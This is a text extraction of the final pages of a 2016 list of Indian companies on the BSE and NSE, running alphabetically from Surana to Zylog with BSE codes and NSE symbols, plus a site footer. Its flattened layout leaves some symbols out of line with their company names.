SURANAIND

SuranaSolar

533298

SURANASOL

SuranaTelecom

517530

SURANAT&P

SuratTextile

530185

SurbhiInds.

514260

http://www.marketonmobile.com/search.php

SUNFLAG

SUNILHITEC

SUNTECK

SUPERHOUSE

SURAJCROP

101/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Surgiplast

523077

SurluxDiagno.

507854

SurluxHealth

523265

SurvodayaLabs

530501

SuryaChak.Pow.

532874

SuryaFuncity

532028

SuryaIndia

539253

SuryaIndl.Corp

531262

SuryaMarketing

538575

SuryaPharma.

532516

SURYAPHARM

SuryaRoshni

500336

SURYAROSNI

SuryaambaSpinni

533101

SuryajyotiSpg.

521022

SuryakrupaFin.

511185

Suryalak.Cott.

521200

SuryalataSpg.

514138

SuryanagriFinl.

530867

SuryavanshiSpg.

514140

SuryoFoods

519604

SuryodayAllo.

531920

SuryodayaInvest

501178

SuryodayaPlast.

530753

SushilPackg(I)

516094

SutlejTextiles

532782

SUTLEJTEX

SuvarnaAqua

519305

SUVARNAQUA

SuvenLifeScie.

530239

SUVEN

SuvidhaInfra.

531640

SuyogTelematics

537259

SuzlonEnergy

532667

SVAIndia

531885

SvadeshiMills

503301

SvamSoftware

523722

SvarajTrading

503624

SVCResources

512449

SVCSuperchem

524488

ATVPETRO

SVOGLOil

522175

SVOGL

SVPGlobal

505590

SWInvestments

503659

SwadeshiInds

506863

SwadeshiPolytex

503816

SwagruhaInfra

531909

SwagtamTrading

539406

SwanEnergy

503310

SwarajAutomot.

539353

SwarajEngines

500407

SwarnaSecur.

531003

SwarnajyothiAgr

590090

SwarnimaOilInd

519311

SwarnsaritaGems

526365

SwastiVin.Art

512257

SwastiVinayaka

510245

SwastikNitro

524376

SwastikRubber

509260

SwastikSafeDep

501386

http://www.marketonmobile.com/search.php

SURYAJYOTI
SURYALAXMI

SURYVANSPG

SUZLON
SVADMILLS

SWANENERGY
SWARAJENG

102/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
SwastikSurfact.

506718

SwastikaInvestm

530585

SweatamberSteel

513442

Swede(I)Teltr.

517191

SwelectEnergy

532051

SwissGlascoat

522215

SwitchingTech.

517201

SwojasEnergy

530217

Sword&Shield

531637

SwordEdgeComm.

512359

SX40

500499

SyblyInds.

531499

SylphEducation

539682

SylphTechno

511447

SYMBIOXINV

539278

Symphony

517385

SyncomFormul.

524470

SyncomHealth

533157

SYNCOM

SyndicateBank

532276

SYNDIBANK

SynergyBizcon

539143

SynergyCosmetic

531115

SyngeneIntl.

539268

SYNGENE

Synth.&Chem.

506660

SYNTHCHEM

SynthikoFoils

513307

SYPAgroFoods

519313

Syschem(India)

531173

SyscoIndust.

539842

SystelInfotech

531418

SystematixCorp.

526506

SystematixSec.

531432

T&IGlobal

522294

TBZ

534369

TBZ

TCP

530282

TCPLTD

TNIndl.Explo.

524028

TNJaiBharath

521038

TNNewsprint

531426

TNPL

TNPetroProd.

500777

TNPETRO

TNSteelTubes

513540

TNTelecom.

523419

TNTELE

TRIL

532928

TRIL

TT

514142

TTL

T.Spiritual

532444

T.V.TodayNetw.

532515

TaazaIntern.

537392

TaiChonbangTex

514464

TaiInds.

519483

TainwalaChem.

507785

TAINWALCHM

TajGVKHotels

532390

TAJGVK

TakeSolutions

532890

TAKE

TaksheelSol.

533639

TAKSHEEL

TalbrosAuto.

505160

TALBROAUTO

TalbrosEngg.

538987

Talwal.Better

533200

TamaraiMills

531443

http://www.marketonmobile.com/search.php

SWELECTES

SYMPHONY

TVTODAY

TALWALKARS

103/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
TamboliCapital

533170

TanejaAerospace

522229

TANEJAERO

TanfacInds.

506854

TANFACIND

TanlaSolutions

532790

TANLA

TantiaConstr.

532738

TANTIACONS

TapariaTools

505685

TapuriahSteels

513328

TaraJewels

534756

TaraiFoods

519285

TarangProjects

538287

TarapurTrans

533203

TariniInternat.

538496

Tarmat

532869

TarrifCine&Fin

512221

TashiIndia

512271

TastyBiteEat.

519091

TataChemicals

500770

TATACHEM

TataCoffee

532301

TATACOFFEE

TataComm

500483

TATACOMM

TataElxsi

500408

TATAELXSI

TataGlobal

500800

TATAGLOBAL

TataInv.Corpn.

501301

TATAINVEST

TataMetaliks

513434

TATAMETALI

TataMotors

500570

TATAMOTORS

TataMotorsDVR

570001

TATAMTRDVR

TataPowerCo.

500400

TATAPOWER

TataSpongeIron

513010

TATASPONGE

TataSteel

500470

TATASTEEL

TataTele.Mah.

532371

TTML

TatanagarBricks

526542

TatiaGlobal

521228

TavernierRes.

531190

TayoRolls

504961

TCFCFinance

532284

TCIDevelopers

533393

TCIDEVELOP

TCIFinance

501242

TCIFINANCE

TCIInds.

532262

TCM

524156

TCPLPackaging

523301

TCS

532540

TCS

TDPowerSys.

533553

TDPOWERSYS

TeaTime

512011

TeamLeaseServ.

539658

TEAMLEASE

TechMahindra

532755

TECHM

TechindiaNirman

526576

TECHIN

TechnoElec.

533281

TECHNO

TechnoForge

522142

Technocraf.Inds.

532804

TIIL

TechnofabEngg.

533216

TECHNOFAB

TechnojetCons.

509917

TechnvisionVen.

501421

TechtranPoly.

523455

TechtrekIndia

513153

TECILChemical

506680

http://www.marketonmobile.com/search.php

TARAJEWELS

TARAPUR
TARMAT

TATAYODOGA

TECILCHEM

104/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
TecproSystems

533266

TeemLabs.

507761

TeestaAgroInd.

524204

TejInfoways

538793

TejnakshHealth.

539428

TejoomalsInds.

526566

TeknominAqua

526065

TeleCanorGlobal

530595

TeledataMarine

533462

TELEMARINE

TeledataTech

533089

TELEDATAIT

TelematicsSys.

517148

TelephoneCables

517159

TelesysInfo.

532315

TemptationFoods

519228

TentiwalaMetal

537119

TeraSoftware

533982

TeraSoftware

590020

TeraiTeaCo

530533

TerraformMagnum

506162

TerraformReal

512157

TerruzziFercalx

522080

Terryfab(I)

530727

Terrygold(I)

514478

TexelInds.

526638

TexmacoInfrast.

505400

TEXINFRA

TexmacoRail

533326

TEXRAIL

TexmoPipes

533164

TEXMOPIPES

TexplastInds.

530635

TGBBanquets

532845

Thacker&Co.

509945

ThakkersDevelp.

526654

ThakralServices

509015

ThambbiModern

514484

ThanaElectric

501756

ThangamayilJew.

533158

THANGAMAYL

ThaparAgroMill

519029

THAPARAGRO

ThaparConcast

530453

ThaparExports

523822

ThaparFoods

519162

ThaparIspat

513285

THAPRISPAT

TheBykeHospi.

531373

BYKE

TheHiTechGear

522073

HITECHGEAR

TheRamcoCement

500260

RAMCOCEM

ThejoEngg.

500492

THEJO

ThemisMedicare

530199

THEMISMED

Thermax

500411

THERMAX

ThiraniProjects

538464

ThirdwaveFin.

531652

ThiruAroor.Su.

507450

THIRUSUGAR

ThirumalaiChem.

500412

TIRUMALCHM

ThomasCook(I)

500413

THOMASCOOK

ThomasScott

533941

THOMASCOTT

ThyrocareTech.

539871

THYROCARE

TideWaterOil

590005

TIDEWATER

http://www.marketonmobile.com/search.php

TECPRO

TELEPHNCAB

VULCANENG

TGBHOTELS

105/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
TigerLogistics

536264

TijariaPoly.

533629

TIJARIA

TIL

505196

TIL

TilakVentures

503663

TilaknagarInds.

507205

TI

TimborHome

533444

TIMBOR

TimeTechnoplast

532856

TIMETECHNO

TimesGuaranty

511559

TIMESGTY

TimexGroup

500414

TIMEXWATCH

TimkenIndia

522113

TIMKEN

TinnaFinex

532192

TinnaOils&Ch.

519256

TinnaRubber

530475

TinplateCo.

504966

TINPLATE

TipsIndustries

532375

TIPSINDLTD

TirthPlastic

526675

Tirup.FinLease

539488

TirupatiFibres

503876

TirupatiFincorp

539008

TirupatiFoam

590035

TirupatiInds.

531547

TirupatiInks

533258

TirupatiSarjan

531814

TirupatiStarch

524582

TirupatiTyres

539040

TitagarhWagons

532966

TitanBiotech

524717

TitanCompany

500114

TitanSecurities

530045

TitanTrading

504353

TivoliConstruc.

511096

TMT(I)

522171

TobuEnterprises

531035

TodaysWriting

531830

TohealPharmach.

531910

TokyoFinance

531644

TokyoPlastIntl

500418

ToniraPharma

530155

TopLineShoes

523700

TopMediaEnt.

532036

TopTelemedia

531554

TorrentCables

523856

TORRENGUJ

TorrentPharma.

500420

TORNTPHARM

TorrentPower

532779

TORNTPOWER

TotalHospit.

523878

Tour.Fin.Corp.

526650

TowaSokki

531771

TowelsIndiaExp

512612

ToyamaElectric

517407

TPIIndia

500421

TPINDIA

TPLPlastech

526582

TPLPLASTEH

Trackpartsof(I)

530373

TradeWings

509953

TransAgroTech

530527

http://www.marketonmobile.com/search.php

TWL
TITAN

TMTINDIA
TODAYS

TOKYOPLAST

TFCILTD

106/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
TransAsiaCorpo

530783

TransFin.Res.

526961

TransFreight

513063

TransMedicare

524484

TransTechno

519496

Trans.India.Com

532258

Trans.Res.Info.

531318

Transchem

500422

TranscorpIntl.

532410

TransgeneBiotek

526139

TransglobeFoods

519367

TranspekInds.

506687

TRANSPEK

TransportCorp.

532349

TCI

TranspowerEngg.

517282

Transwar.Fin.

532812

TRCFinancial

511730

TreadsdirectLtd

532205

TREADS

TreeHouseEdu.

533540

TREEHOUSE

TrendElectronic

517228

Trent

500251

TRENT

TRF

505854

TRF

TriaFineChem

524721

TribhuvanHsg.

531703

TricomFruit

531716

TricomIndia

531675

TRICOM

Trident

521064

TRIDENT

TridentProjects

526626

TridentTools

531972

TridevInfra.

531568

TrigynTechno.

517562

TrijalInds.

531658

TrilleniumTech.

519473

TrilogicDigital

531712

TrimurthiDrugs

590093

TrimurthiDrugs

536565

TrinaQuebecGe.

522159

TrinethraInfra

590091

TrinetraCeme.

513428

TrinityBiotech

530573

TrinityLeague

531846

TrinityTradeli.

512417

TrioMerc.Trad.

534755

TriochemProduct

512101

TripexOverseas

531774

TrishaktiElect.

531279

TritonCorp.

523387

TritonValves

505978

TriumphIntl.

532131

Triven.Engg.Ind.

532356

TriveniEnterpri

538569

TriveniGlass

502281

TRIVENSHET

TriveniTurbine

533655

TRITURBINE

TruptiTwisters

514236

TSLIndustries

531659

http://www.marketonmobile.com/search.php

TRANSFREIT

TRANSCHEM

TFL

TRIGYN

INDOZINC

TRIVENI

107/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
TTIEnterprise

538597

TTKHealthcare

507747

TTKHLTCARE

TTKPrestige

517506

TTKPRESTIG

TubeInvestments

504973

TUBEINVEST

TulaseeBioEth.

524514

TulipStarHot.

531088

TulipTelecom

532691

TuliveDeveloper

505285

TulsiExtrusions

532948

TULSI

TulsyanNEC

513629

TULSYAN

TumusElectric

504273

TungabhadraInds

507665

TuniText.Mills

531411

TurbotechEngg.

504358

TuticorinAlkali

506808

TutisTech.

532311

TV18Broadcast

532800

TV18BRDCST

TVSElec.

532513

TVSELECT

TVSMotorCo.

532343

TVSMOTOR

TVSSrichakra

509243

TVSSRICHAK

TwilightLitaka

506985

TWILITAKA

TwinRosesTrade

512117

TwinstarIndus.

531917

TycheInds.

532384

TyphoonFinSer

539468

TyphoonHoldings

512307

TyroonTeaCo.

526945

UBHoldings

507458

UGHotels

526463

UPHotels

509960

UPLimeChem.

524677

UPMine.Prod.

515119

UBEngg.

509992

UBENGG

UBEInds.

523868

WELDFLUX

UcalFuelSys.

500464

UCALFUEL

UcilLeasing

511343

UCOBank

532505

UCOBANK

UdaipurCement

530131

JKUDYOG

UdayJewellery

539518

Uflex

500148

UFMInds.

531610

UFOMoviez

539141

UFO

UgarSugarWorks

530363

UGARSUGAR

UjaasEnergy

533644

UJAAS

UjjivanFin.Ser.

539874

UJJIVAN

UltraInter.

524744

UltracabIndia

538706

UltramarinePig.

506685

ULTRMARINE

UltraTechCem.

532538

ULTRACEMCO

UmaMahesh.Mill

530463

UmangDairies

500231

UmiyaTubes

539798

UmredAgroComp.

519477

UMSTech.

530937

http://www.marketonmobile.com/search.php

TULIP

TUTICORALK

UBHOLDINGS

UFLEX

UMANGDAIRY

108/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
UniAbexAlloy

504605

UniMetalAlloys

513482

UnichemLabs.

506690

UnicornOrganics

524087

UnicornPharma.

524334

UniflexCables

500427

UnijollyInvest.

503671

UnimersIndia

524264

UniminIndia

530321

UnimodeOverseas

512595

UnionBank(I)

532477

UnionBearings

522271

UnionQual.Pla.

526799

UniphosEnter.

500429

UNIENTER

UniplyInds.

532646

UNIPLY

UniportCompu.

523632

UniqueAgroPro.

526915

UniqueEst.Dev.

508800

UniqueOils(I)

523250

UniqueOrganics

530997

UnirollLeather

514384

UniroyalInd

521226

UniroyalMarine

526113

UnishireUrban

537582

UnisonMetals

538610

UnistarMultim.

532035

UnisysSoft.

531831

Unitech

507878

UnitechInternat

531867

UnitedBank(I)

533171

UNITEDBNK

UnitedBreweries

532478

UBL

UnitedCredit

531091

UnitedDiag.Int

523485

UnitedDiam.

508841

UnitedDrilling

522014

UnitedInter.

502893

UnitedLeasing

507808

UnitedNilgiri

530470

UnitedSoyaaPr.

519001

UnitedSpirits

532432

UnitedTextiles

521188

UnitedVanDer

522091

UnitedWhite

504980

UnitelCommun.

517162

UnityInfra.

532746

UnitySteels

513186

UniversalArts

532378

UniversalAuto.

539314

UniversalCables

504212

UniversalCredit

531963

UniversalMedia

531790

UniversalOffice

523519

UniversalPr.Al

504673

UniversalStarch

524408

http://www.marketonmobile.com/search.php

UNICHEMLAB

UNIFLEX

UNIMIN
UNIONBANK

UNITECH

UNITEDTEA
MCDOWELLN

UNITY

UNIVCABLES

109/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
UniversalVita

519204

Uniworth

514144

WOOLWORTH

UniworthIntl.

514282

UNIWORTINT

UniworthSecurit

512408

UniworthText.

500138

UnjhaFormul.

531762

UnnoIndustries

519273

UpasanaFinance

511764

UPL

512070

UPL

UpperGang.Sug.

530505

UPERGANGES

UpsurgeInvest.

531390

UrjaGlobal

526987

USGTech

532402

Usha(India)

500431

UshaIron&Fer.

513464

UshaIspat

500432

USHAISPAT

UshaMart.Edu.

532398

UMESLTD

UshaMartin

517146

USHAMART

UshaMicro.Con.

504283

UshakiranFin.

511507

UshdevIntl.

511736

USHDEVINT

UsherAgro

532765

USHERAGRO

UshmaPolymers

514372

UT

526879

UTIGoldETF

590101

GOLDSHARE

UTINiftyETF

539313

UTINIFTETF

UTISensexETF

539312

UTISENSETF

UTLIndustries

500426

UttamGalva

513216

UTTAMSTL

UttamSug.Mills

532729

UTTAMSUGAR

UttamValueSte.

500254

UTTAMVALUE

UTVSoftware

532619

UTVSOF

UVBoards

526957

VBDesaiFin.

511110

VBIndustries

539123

VIPInds.

507880

VRWoodart

523888

VGuardInds.

532953

VGUARD

VMartRetail

534976

VMART

V2Retail

532867

V2RETAIL

VaTechWabag

533269

WABAG

VaaradVent.

532320

VadilalDairy

519451

VadilalEnterp.

519152

VadilalInds.

519156

VaghaniTechno

531676

VaibhavGlobal

532156

VaishnaviGold

590111

VaishnoCement

526941

VajraBearings

500438

Vakrangee

511431

VaksonsAutomob.

539402

ValechaEng.

532389

ValiantCommun.

526775

http://www.marketonmobile.com/search.php

FABWORTH

USHAINDIA

VBDESAIFIN
VIPIND

VADILALIND
VAIBHAVGBL

VAKRANGEE
VALECHAENG

110/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
VallabhPolyPl.

530403

VallabhSteels

513397

ValleyAbrasives

513715

ValleyMagnesite

539543

ValplusBiotech

526634

ValsonInds.

530459

ValueIndustries

500945

Value.InfoTech.

532338

ValuemartRetail

511114

VamaInds.

512175

VamshiRubber

530369

VanasthaliText.

521046

VandanaKnitwear

532090

VaniCommercial

538918

VantageCorp.

530109

VantageKnowledg

539761

VantechInds.

530509

VantelTechno.

532396

VapiPaperMills

502589

VardhamanLabs.

524796

VardhamanWires

513705

VardhmanAcrylic

531106

VardhmanConcr.

531444

VardhmanHold.

500439

VardhmanInds.

513534

VardhmanPolytex

514175

VARDMNPOLY

VardhmanSpl.

534392

VSSL

VardhmanTextile

502986

VTL

VarunInds.

532917

VARUN

VarunMercan.

512511

VarunPoly.Org.

524059

VarunShip.Co.

500465

VasInfra.

531574

VasconEngineers

533156

VasundharaRasy.

538634

VaswaniInds.

533576

VASWANI

VatsaCorpn

511371

VATSALTD

VatsaEducations

512205

VatsaMusic

531894

VaxHousingFin.

531650

VBCFerroAlloys

513005

VBCInds.

524310

VCCL

522015

VCKCap.Mkt.

511493

VCUData

536672

Vedanta

500295

VedavaagSystems

533056

VeejayLak.Eng.

522267

VeenaTextiles

521028

VeerEnergy

503657

VeerhealthCare

511523

NIYATILEAS

VegeproFoods

519140

VEGPROFOOD

VegetableProd.

539132

VelanHotels

526755

http://www.marketonmobile.com/search.php

VALUEIND

VARDHACRLC
VHL

VARUNSHIP
VASCONEQ

VATSMUSC

VEDL

111/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
VeljanDenison

505232

VeloxIndustries

506178

VelvetteIntl.

524528

VenkatPharma

532093

Venky's(India)

523261

VENKEYS

VenlonEnt

524038

VENLONPOLY

VenmaxDrugs

531015

VentronPolymers

531459

VenturaGuaranty

512060

VenturaTextiles

516098

VenusPower

531874

VenusRemedies

526953

VENUSREM

VenusSugar

507472

VENUSUGAR

VenusUniversal

530769

Veritas(India)

512229

VeronicaLabs.

524802

VertexSecur.

531950

VertexSpinning

531544

VerticalIndust.

515099

VesuviusIndia

520113

VESUVIUS

VetoSwitchgears

500498

VETO

VetoSwitchgears

539331

VETO

VHCLIndust.

522233

ViaanIndustries

537524

VibrantGlo.Cap

538732

VibrosOrganics

530487

ViceroyHotels

523796

VictoriaEnterpr

506103

VictoriaMills

503349

VictoryPaper

531234

VidarbhaIron

504991

VideoconInds.

511389

VIDEOIND

VidhiDyestuffs

531717

VIDHIDYE

VidliRestaurant

539659

VijayShan.Bui.

523724

VijaySolvex

531069

VijayTextiles

530151

VijayaBank

532401

VijayaComm.Cr.

507869

VijayakumarMill

521135

VijiFinance

537820

VikalpSecur.

531334

VikasEcotech

530961

VikasGranaries

531518

VikasWsp

519307

VIKASWSP

VikashMetal

532677

VIKASHMET

VikramThermo

530477

ViksitEngg.

506196

VimalOilFoods

519373

VIMALOIL

VimtaLabs

524394

VIMTALABS

VinadityaTrad.

504380

VinatiOrganics

524200

VinayakInds.

526005

VinayakPolycon

534639

http://www.marketonmobile.com/search.php

VICEROY

VIJSHAN

VIJAYABANK

VIKASECO

VINATIORGA

112/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
VinayakVanijya

512517

VindhyaTelelink

517015

VinsariFruitech

532020

VintageCards

532360

VintageFoods

531940

VintageSecur.

531051

VintekRFProd.

517459

VintronInfo.

517393

VinylChemicals

524129

Vinyoflex

530401

VippyIndustries

519039

VippySpinpro

514302

ViprasCorpn.

522106

VipulDyeChem

530627

VipulLtd

511726

VIPULLTD

ViralSyntex

526171

VIRALSYNTX

ViratCraneInds

519457

ViratInds.

530521

VIRATLEASING

539167

VirgoGlobal

532354

VirgoPolymers

531282

Virinchi

532372

VirtualGlobal

534741

VirtualInds.

531483

VirtualsoftSys.

531126

VisaSteel

532721

VisagarFinan.

531025

VisagarPolytex

506146

VIVIDHA

VisakaInds.

509055

VISAKAIND

ViseshInfotec.

532411

VISESHINFO

VishalBearings

539398

VishalChairs

526502

VishalExports

532618

VishalFabrics

538598

VishalMalleab.

505930

VishalPapertech

531981

VishnuChemicals

516072

VishnuSugar

507405

VishvaVishal

512321

VishvakirtiCons

511014

VishvasProjects

511276

VishvjyotiTrad

512067

VishvprabhaTrad

512064

VishwamitraFin.

511361

VishwasInfocom

513573

VisionCinemas

526441

VisionCorpn.

531668

VisionOrganics

532383

VistaPharma.

524711

VisuIntl.

590038

VISUINTL

VitalComm.

532325

VITALCOMM

VitanAgro

538548

VitaraChemicals

524646

VivanzaBiosci.

530057

http://www.marketonmobile.com/search.php

VINDHYATEL
VINCARDS

VINYLINDIA
VIPPYSOLVX

VISASTEEL

VISHALEXPO

VISHNU

VISIONLTD

VITARACHEM

113/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
VividGlobal

524576

VivimedLabs.

532660

VivoBioTech

511509

VJTFEduservices

509026

VKJInfradev.

536128

VKSProjects

534567

VKSPL

VLSFinance

511333

VLSFINANCE

VMSIndus.

533427

VMVHolidays

539222

VogueTextiles

530583

VoithPaper

522122

VolantTextile

531865

VolgaAirTech.

531350

Volplast

531922

Volt.Transform.

532757

VoltaireLeasing

509038

Voltas

500575

VolvoTerryInds

526289

VoraConst.

512215

VRLLogistics

539118

VSDConfin

531696

VSFProjects

519331

VSTInds.

509966

VSTIND

VSTTill.Tract.

531266

VSTTILLERS

VTM

532893

VTMLTD

VTXIndust.

532824

VTXIND

VVNMfg.&Inve.

505535

VXLInstruments

517399

VyaparInds.

506142

VybraAutomet

520003

VysaliPharma.

524290

WHBrady

501391

WICottons

532026

WIShipyard

531217

WSInds.

504220

WWTECHN.HD.

505583

WABCOIndia

533023

WABCOINDIA

WadalaCom.

519035

GFL

WagendInfra

503675

Walchan.Inds.

507410

WalchandPeople

501370

WallStreetFin.

511147

WallfortFin.

532053

Wanbury

524212

WardenCons.

512269

WarnerMulti.

511690

WarrenTea

508494

WARRENTEA

WartsilaIndia

500443

WARTSILA

WashingtonSoft.

531933

Waterbase

523660

WatsonSoftware

516090

WealthFirstPor

532269

WebElement

780016

WebelCapacitor.

505277

http://www.marketonmobile.com/search.php

VIVIMEDLAB

PORRITSPEN

VOLTAMP
VOLTAS

VRLLOG

VXLINSTR

WSI

WALCHANNAG

WANBURY

WATERBASE
WEALTH

114/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
WebelCommn.

517176

WebsolEnergy

517498

WEBELSOLAR

Weizmann

523011

WEIZMANIND

WeizmannFor.

533452

WEIZFOREX

WelcastSteels

504988

WelcureDrugs

524661

WellPackPaper.

531249

WellesleyCorp.

532016

WellnessNoni

531211

WellwinInds.

531369

WelplacePort.

539407

WelspunCorp

532144

WELCORP

WelspunEnterp

532553

WELENT

WelspunEnterpr.

538538

WELENTRP

WelspunGlobal

533495

WELGLOB

WelspunIndia

514162

WELSPUNIND

WelspunInvestme

533252

WELINV

WeltermanIntl.

526431

WendtIndia

505412

WEPSolutions

532373

WestCoastPaper

500444

WestLeisure

538382

WesternInds.

531649

WesternOris.Sug

507462

WestlifeDevelop

505533

Wheel&Axle

512297

WheelsIndia

590073

WHEELS

WhirlpoolIndia

500238

WHIRLPOOL

WhiteDiam.Ind.

513713

WhiteHallComm.

512431

WillardIndia

504227

WilliamsonFin.

519214

WilliamsonMagor

519224

WilwayfortIndia

530293

WimPlast

526586

WIMPLAST

WindsorMachines

522029

WINDMACHIN

WinroCommercial

512022

WinsomeBrew.

526471

WinsomeDiamonds

507892

WinsomeTextile

514470

WinsomeYarns

514348

Wintac

524758

WinyCommercial

538873

Wipro

507685

Wires&Fabriks

507817

WisecGlobal

511642

Wockhardt

532300

Women'sNext

538128

WonderlaHoliday

538268

Woodsvilla

526959

Woolways(India)

532075

WopolinPlastics

509419

WorldwideLeath.

526525

WorthInvestment

538451

http://www.marketonmobile.com/search.php

WELLWININD

WENDT
WSTCSTPAPR
WESTINDSEC

WILLARDLTD
WILLAMAGOR

WINSOMEDJ
WINSOME

WIPRO

WOCKPHARMA
WONDERLA

WOPOLIN

115/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
WPIL

505872

Wyeth

500095

WYETH

XchangingSol.

532616

XCHANGING

XeddTelecom

530819

XEDDTELCOM

XLEnergy

532788

XLENERGY

XLOMachineTool

522007

XPROIndia

590013

YaminiInvest

511012

YantraNatural

531693

YarnSyndicate

514378

YashMgmt&Sat.

511601

YashPapers

516030

YashTrad.&Fin.

512345

YashrajContain.

530063

Yene.Min.&Gra

515101

YesBank

532648

YKMIndust.

531260

YogiInfra

522209

YogiPolyesters

526913

YogyaEnterprise

539097

YorkExports

530675

YukenIndia

522108

YuleFin.&Lea.

511495

YuranusInfrast.

536846

YuvraajHygiene

531663

YuvrajIntl.

512285

ZFSteering

505163

ZFSTEERING

ZanduRealty

506720

ZANDUREALT

ZeeEntertainmen

505537

ZEEL

ZeeLearn

533287

ZEELEARN

ZeeMedia

532794

ZEEMEDIA

ZenTechnologies

533339

ZENTEC

ZenithBirla

531845

ZENITHBIR

ZenithCapitals

508900

ZenithComputers

517164

ZENITHCOMP

ZenithExports

512553

ZENITHEXPO

ZenithFibres

514266

ZenithHealth

530665

ZenithInfotech

532298

ZenotechLab.

532039

ZensarTech.

504067

ZENSARTECH

ZicomElectron.

531404

ZICOM

ZigmaSoftware

532177

ZillionPharma

524476

ZILONPHARM

ZodiacCloth.Co

521163

ZODIACLOTH

ZodiacVent.

503641

ZodiacJRDMKJ

512587

ZODJRDMKJ

ZuariAgroChem.

534742

ZUARI

ZuariForex

530283

ZuariGlobal

500780

ZydenGentec

530091

ZydusWellness

531335

ZYDUSWELL

ZylogSystems

532883

ZYLOG

http://www.marketonmobile.com/search.php

XPROINDIA

YESBANK

YUKENINDIA

ZENITHINFO

ZUARIGLOB

116/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
STOCKS:A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|Others|All|Quotes
COMMODITIES:A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|Others|All|Quotes

NEWS

Markets

Commodities

Tools

AboutUs

Markets

Sensex

Gold

CurrencyConverter

ContactUs

Commodity

Nifty

Silver

TaxCalculator

Disclaimer

Company

Sectors

CrudeOil

HomeLoanCalculator

Career

Currency

Global

MenthaOil

InterestCalculator

Editors

Economy

Technicals

Guarseeds

PersonalLoanEMICalculator

Advertisewithus

Politics

Movers&Shakers

Technicals

Sitemap

RSSFeeds

Copyright2013marketonmobile.com.AllRightsReserved.

http://www.marketonmobile.com/search.php

117/117

S-ar putea să vă placă și